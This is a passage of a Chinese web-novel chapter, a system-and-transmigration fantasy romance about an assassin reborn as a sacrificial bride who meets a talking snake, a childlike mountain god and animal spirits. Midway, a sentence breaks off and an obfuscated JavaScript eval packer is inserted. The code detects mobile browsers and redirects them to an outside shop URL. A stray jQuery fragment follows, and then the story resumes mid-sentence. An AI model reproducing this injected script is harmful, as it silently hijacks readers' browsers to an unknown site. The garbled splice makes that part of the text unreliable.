【叮——检测到主人灵魂绑定成功,双系统正式激活】
【主人好,我叫医,精通古今医术,应急救治,创伤防疫,灾害治理】
【农,擅长培育,水土改良,种植养殖,基建开垦,不是这——一定要这样文绉绉的说话吗?】
【抱歉主人,已为您自动屏蔽不良用语,主线任务解锁:修复透支破败的梧桐山,满进度条即可解锁回归现代通道。】
冰冷的机械音响起后,泥泞山路间一座简陋的轿子里,身穿婚服,面戴红纱的姑娘猛地睁开眼,环视一周后顿感不妙,身上似乎被绑住了。
寒妄狐努力回想先前发生的事——
作为集团实力最高的成员,她被老板安排执行最新任务,刺杀一位贪污的收藏家,并夺走他拍卖下的画像。
就在返程途中飞机爆炸,再睁开眼便是眼前的景象。
【需要为您提供信息帮助吗?主人】
先前将她吵醒的电子音再次响起,她不敢乱动,心想,这难道是谁给她植入的新科技电子芯片,一旦解开绳子就会爆炸的那种?
“你是谁?”
【我是您的总系统,主人,您需要帮助吗】
她不说话,指尖悄悄蹭过绑住手腕的绳子,麻绳浸过潮汽,勒得手腕发疼,材质普通,确实没藏炸弹的空间。
总系统开始自顾自讲解:【您现在位于梧桐山的核心区域,由于该区域水土流失严重,植被损毁超过九成,故而您的本次任务只有两个字,开荒】
寒妄狐微微挑眉,职业素质导致她只听见任务两字,“也就是说,因为任务失败,所以老板把我丢到这干农活?”
红纱挡住了她大半表情,只有指尖凝着的冷光慢慢蹭过绳结,没几下就蹭开了束缚,“要是我不做呢?”
【任务失败惩罚:永久滞留当前世界,抹杀宿主意识。】
最后经过总系统的解释,寒妄狐算是知道怎么回事了。
她死了,尸骨无存,灵魂在人间游荡时,被一个名为气运局的集团总系统捡到,通过某种不能透露的方式,将她送回千年前一个濒临崩溃的平行时空,去拯救区域中心的梧桐山。
而这具身体是总系统将她的尸体修复好后一起带过来的。
被她顶替身份的姑娘,是村里一户老实人家的幼女,恰逢梧桐山连日洪灾,愚昧的村民听信村长的古老谣言,认定是山神震怒,需献祭貌美处女平息天怒。
可怜的姑娘,就这样被爹娘和乡邻借口说嫁给所谓的山神,而后打晕丢在荒山野岭送死。
寒妄狐此时大脑是宕机的,没想到平时看那么多系统文,还真让她遇到了。
还在想是不是集团在整蛊他,外面突然传来窸窸窣窣的声音,杀手的直觉告诉她有人在靠近,寒妄狐眼眸一沉,掀开轿帘往外走。
眼前的路被连日的暴雨冲得泥泞不堪,轿身陷在半尺深的泥坑,望出去全是光秃秃的荒山,裸露的黄土被雨水冲刷着,半点也见不到植被的影子。
风卷着山雾裹着点点雨星打过来,打湿了她身上厚重的大红婚服,布料吸水后沉得压肩。
她随手从轿杆上掰下一根半指粗的木料握在手里,“谁,出来!”
一道黑色身影以迅雷不及掩耳之势从树上窜下来,寒妄狐本能地闪开,在原地转一圈后迅速站住脚,这才看清地上的东西。
是条碧眼黑蛇,全身的鳞片在雨里泛着冷光,碗口粗的身子盘在石头上,正吐着分叉的信子盯着她。
寒妄狐握紧手里的木料,后背惊出一层薄汗,这身子刚从死亡里拉回来,虚得厉害,刚才闪躲已经扯得浑身发疼。
见她不像情报里那般柔弱,黑蛇顺着轿子往上爬,直到与女人视野持平,忽的口吐人言,是道略带稚嫩的男声:“你就是山下人送给他的新娘子?”
“?”寒妄狐先是惊讶他会说人话,后注意到重点,微微歪头,“新娘子?”
黑蛇双目死死盯着她,也学着倾斜脑袋,“有何不明白的?我只知他是个痴傻儿,莫非你也是?”
寒妄狐了然,所以那山神是真实存在的,听这黑蛇的语气。应该是和他关系不好。
不过它刚刚叫人家什么?痴傻的痴吗?云痴?真古怪。
她握紧手中的木料,神情变得严肃,“是又如何,你要怎样?”
那黑蛇顺着断开的桥杆滑下,落地的瞬间变成身穿玄色短打的少年,半边脸隐在树影里,碧眼竖瞳,眉尾挑起显出几分桀骜不驯。
紧接着一团烟雾在面前炸开,寒妄狐下意识抬手挡脸,感觉到一阵风迎面袭来,接着是黑蛇的声音响起:“要取你性命!”
想象中的袭击没有出现,等到烟雾散尽,寒妄狐放下手,面前出现一道白色的背影,墨色长发高高扎起,宽肩窄腰,黑蛇此刻一只手被男人抓住,怒目圆睁地对他呲牙。
“放开我!!你个大傻子!你不是在乎这个丑姑娘吗?那我就杀了她!让你再也不能回复神力!”
男人不理黑蛇的话,缓缓转过半边身子,寒妄狐呼吸顿了半秒。
他的轮廓生得极冷,眉峰锋利眼尾偏长,瞳色是浅得近乎透明的烟灰色,没什么多余表情,只偏头瞥她一眼,开口声音低哑,“别怕。”
黑蛇在他手下挣得更凶,碧眼竖瞳瞪得快要突出来,张嘴就要骂,寒妄狐耐心已经到达极限,越过男人抓住黑蛇的手,接着猛地一拽,抬手将人过肩摔。
男人还没反应过来,就听见旁边传来砰的一声,脖子僵硬地转回去看,黑蛇正被寒妄狐踩在地上,双手被覆在身后抓住,后颈抵着一根断裂的木棍,速度快到过程连挣扎的余地都没有。
“你再说一遍,谁是丑姑娘?”
黑蛇哪里听得出来好赖话,身上疼得都要只哇乱叫了,还是继续道:“你个丑——”
一道尖叫声响起,黑蛇被寒妄狐一脚踹晕过去,倒在地上不省人事。
寒妄狐随手丢掉木棍,拍了拍手上的脏东西,想起什么,往旁边看去。
男人喉结滚动,又看眼地上的少年,不敢说话。
寒妄狐见他这样还以为是大场面见多了,沉着冷静。
根据多年暗杀的经验,她一眼就能辨出强弱,眼前这个男人气质带来的压迫感比她见过的所有对手都强
“你就是他说的山神?”寒妄狐开口,声音稳得很,一点也看不出来她刚刚做好了拼命的准备。
男人闻言没立刻回答,淡蓝色的眼落在她身上沾着泥的大红婚服上,顿了顿才点头开口:“你是,我的娘子?”
寒妄狐迈开腿从黑蛇身上起开,见云螭似乎没有恶意,于是目光穿过他看向身后的山路,思绪飘忽,“可能吧,现在不是了。”
说着她径直朝前面走去,“我要走了,再见,算了,别见。”
路过云螭身边时,她明显感觉到一阵寒意,也没去在意。
村里是回不去了,她手握两个系统,又有荒野求生经验,可以独自完成任务。
当务之急是找个山洞休息,把身上难看死的衣服换下来,她最讨厌穿长裙了。
刚走出去几步就感觉身后有人靠近,寒妄狐立刻察觉不对,腰腹发力拧过身,手肘横抬直击对方胸口,指节已经弯成准备锁喉的弧度,动作快得只带出一阵风。
面纱随着她的大幅度动作掉落,露出一张清艳张扬的脸,眼尾微微上挑,带着天生的侵略感,山风吹得她鬓角碎发贴在颈侧。
云螭没料到她反应这么大,抬着的手停在半空,看清脸的一瞬间睁大眼睛愣在原地,连呼吸都止住不动。
寒妄狐收了势,错开半步拉开安全距离,手腕抬着依旧保持戒备,斜眼扫过他还悬在半空的手,眉峰拧起来:“拉我干什么?想打一架?”
男人喉结滚动,像拨浪鼓似地摇摇头。
寒妄狐不想与他有过多纠缠,看天的样子应该是还要下雨,转身要走的瞬间,腿上莫名多了一个累赘——
“漂亮娘子,别走~”
“?”
寒妄狐动作僵硬地转头,垂眸看正抱着自己大腿的男人,一时间甚至觉得有些无语,嘴巴张合迟迟说不出话,眨好几下眼睛才琢磨出五个字:“你要干什么?”
云螭趴在地上,双手紧紧抱着寒妄狐的腿不肯松开,哭得一把鼻涕一把泪的,泪眼汪汪地抬头说:“你跟我回家吧娘子,好不好?”
寒妄狐抽了抽腿,没抽动,男人抱得死紧
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17776713|210045||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,眼睛泪汪汪的,和那一身清冷出尘的气质半点不搭,活脱脱像个被丢下的大型犬。
她缓了好几秒才消化眼前的画面,刚才那股子生人勿近的压迫感,全成了滑稽的错觉。
“你松开,谁是你娘子。”寒妄狐抬腿晃了晃,语气冷得像冰,“再抱着我,地上那黑蛇就是你的前车之鉴。”
云螭完全像个不讲理的小孩一样,“不要不要,娘子这么漂亮,打死我也高兴。”
话音刚落,就听见树后头传来一声哼哼,刚才被踹晕的黑蛇不知道什么时候醒了,眼前还是迷迷糊糊的,就探着个脑袋骂骂咧咧:“傻子配丑女...”
云螭压根没理他,反而抱得更紧了一点,脑袋还往她腿上蹭。
寒妄狐额角跳了跳,算是听明白了,这看着人模狗样的山神,脑子真的不太好使。
她深吸一口气压下翻涌的情绪,耐着性子说:“我不是来跟你过日子的,松开。”
“我不要!你走了他们又要欺负我了。”
说到这云螭突然开始大哭,眼泪顺着脸颊留下,如果是演的那也太逼真了。
黑蛇还想说什么,又被突如其来的石头砸晕倒地。
寒妄狐放下手,目光落回腿上。
如果云螭是用强硬的态度和手段逼她留下,两人说不定真会大干一场,但他哭成这样,寒妄狐实在下不去手。
尤其是一下想到自己初到俱乐部被人欺负的样子,那时候她也只是个被父母卖掉的可怜女孩,不停大哭求他们带自己回去。
她咬咬牙,心说罢了,就当是暂时骗一下他,等晚上再找个时间溜走。
“行了行了别哭了,松开,我跟你走。”寒妄狐败下阵来,无奈地扯了扯嘴角,伸手戳了戳云螭哭得发红的眼尾。
云螭瞬间就收了哭声,眼泪还挂在睫毛上,眼睛亮得像沾了星星,一下就松开手蹦了起来,拍了拍身上的草屑灰尘,还伸手小心翼翼去牵寒妄狐的手腕。
见她没躲开,才敢攥住,声音还带着哭后的鼻音:“我就知道娘子最好了,我带你回家,家里有你爱吃的蜜枣糕。”
寒妄狐被他拉着往山深处走,看着他蹦蹦跳跳的背影,刚才觉得他很强的印象彻底烟消云散。
她跟在云螭身后,抽空在脑子里问系统:“这到底是怎么回事?他真的是脑子不好使?”
系统很快调出信息:【梧桐山山神云螭,本体不详,因天地灵气匮乏伤及灵核,神智倒退,神力逐渐消散】
“那黑蛇是什么情况?”
【梧桐山蛇王幼崽蓝笙,在母亲沉睡期间试图称霸,与云螭一山不容二虎】
寒妄狐挑了挑眉,原来如此,难怪黑蛇一上来就要杀她,合着是爱屋及乌呢。
【主人,这个词不是这样用的】
“多嘴。”
山路越走越宽,转过一片竹林,眼前豁然开朗。
山顶上嵌着一处小的院子,院子围了竹篱笆,院里种着几棵树,枝干长得舒展好看,屋顶铺着整齐的青瓦,院子门口还摆着两盆开得旺的野菊,看着干净又舒服。
云螭松开手,蹦蹦跳跳地推开院门,回头冲她笑,眼睛弯成好看的弧度:“娘子你看,这就是我们的家!”
寒妄狐跟着走进院子,刚跨过门槛,屋内突然跑出来几只兔子和狐狸,叽叽喳喳地口吐人言:
“小姑娘接到了吗?”
“小云小云,大黑有没有去找你呀?”
“我看见好多凡人把大木柜放到半山腰就走了,你找到了吗?”
它们话还没说完,就见云螭身后走站着一位漂亮姑娘,唇红肤白,眉眼清冷,身上的婚服衬得气质愈发清丽动人。
小妖们都停了叫嚷,你望望我我望望你,愣了好半天,突然一齐弯起眼睛,下一秒全化出人形,只不过还保留着本体的耳朵和尾巴。
本想开玩笑吓唬一下寒妄狐,可她似乎没有任何情绪,依旧冷冷地看着前方,几只小妖觉得她好像不太好惹,没敢贸然凑上前,只三三两两站在台阶下,你推我挤,偷偷打量她。
穿粉布短衫的小兔妖胆子最大,晃着长耳朵从伙伴身后钻出来,怯生生开口:“姑娘就是小云的新娘子吗?”